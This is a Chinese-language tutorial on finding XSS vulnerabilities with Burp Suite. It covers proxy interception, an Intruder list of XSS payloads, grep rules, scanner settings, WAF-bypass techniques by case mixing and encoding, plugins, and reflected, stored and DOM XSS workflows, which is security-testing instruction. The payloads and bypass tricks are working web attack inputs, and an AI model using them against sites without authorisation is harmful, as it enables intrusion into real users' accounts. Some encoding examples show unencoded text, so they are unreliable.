Burp Suite进行XSS漏洞挖掘实战

18分钟阅读 | 工具使用

一、环境配置

1.1 代理设置

// 浏览器代理配置
地址: 127.0.0.1
端口: 8080

// Burp Suite设置
Proxy → Options → Proxy Listeners
绑定到所有接口(如需远程测试)

1.2 安装CA证书

访问 http://burp 下载CA证书,导入浏览器以拦截HTTPS流量。

二、使用Proxy发现XSS

2.1 拦截请求

// 在Proxy → Intercept中修改请求
原始请求:
POST /comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded

message=Hello

修改为:
message=<script>alert(1)</script>

2.2 HTTP History分析

在Proxy → HTTP history中查找:

三、使用Intruder爆破XSS

3.1 配置Payload位置

// 标记注入点
POST /search HTTP/1.1

q=§test§

3.2 Payload设置

// Payload类型:Simple list
// 添加XSS Payload字典:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
javascript:alert(1)
'><script>alert(1)</script>
"><script>alert(1)</script>
</script><script>alert(1)</script>

3.3 Grep匹配

// Options → Grep - Match
添加匹配规则:
- alert(1)
- onerror=
- <script>
- javascript:

// 用于快速识别成功的Payload

四、使用Scanner自动扫描

4.1 主动扫描

// 右键点击请求 → Scan
配置:
- Crawl and Audit
- Audit checks: 选择所有XSS检查
- Resource Pool: Fast scan

4.2 自定义扫描配置

// Scanner → Options → Active Scanning
启用检查:
☑ Cross-site scripting (reflected)
☑ Cross-site scripting (stored)
☑ Client-side prototype pollution
☑ DOM-based XSS

调整插入点:
☑ URL参数值
☑ Body参数值
☑ Cookie
☑ HTTP头

五、绕过WAF技巧

5.1 使用Payload Processing

// Intruder → Payloads → Payload Processing
添加规则:
1. URL-encode: All characters
2. HTML-encode: < > " '
3. Base64-encode
4. Add prefix: /**/
5. Add suffix: /**/

5.2 大小写混淆

<ScRiPt>alert(1)</sCrIpT>
<ImG sRc=X oNeRrOr=alert(1)>

5.3 编码绕过

// HTML实体编码
<img src=x onerror="alert(1)">

// Unicode编码
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

// 十六进制编码
<img src=x onerror="alert(1)">

六、扩展插件

6.1 XSS Validator

自动化XSS验证插件,配合PhantomJS使用。

// 安装
Extender → BApp Store → XSS Validator

// 配置
添加Payload: <script src="https://xss-validator-url"></script>

6.2 CO2 (Custom Output)

强大的请求定制和重放工具。

6.3 Burp Bounty

基于规则的漏洞扫描增强插件。

七、实战案例

7.1 反射型XSS挖掘

// 步骤:
1. Proxy拦截搜索请求
2. 发送到Repeater
3. 修改参数: q=<script>alert(1)</script>
4. 观察响应,查找未编码的输出
5. 测试不同上下文的Payload
6. 确认漏洞后提交报告

7.2 存储型XSS挖掘

// 流程:
1. 找到用户输入存储点(评论、个人资料等)
2. 使用Intruder批量测试Payload
3. 访问存储数据展示页面
4. Proxy → HTTP history查找响应中的Payload
5. 验证XSS执行

7.3 DOM XSS挖掘

// 查找JavaScript中的危险函数
使用Burp搜索功能:
Target → Site map → 右键 → Engagement tools → Find comments and scripts

搜索关键词:
- document.write
- innerHTML
- location.hash
- eval
- setTimeout
- setInterval

八、最佳实践

总结

Burp Suite是XSS挖掘的强大工具,掌握:

  1. Proxy拦截和修改请求
  2. Intruder自动化测试
  3. Scanner自动扫描
  4. Repeater手工验证
  5. 扩展插件增强功能
上一篇 返回知识库 下一篇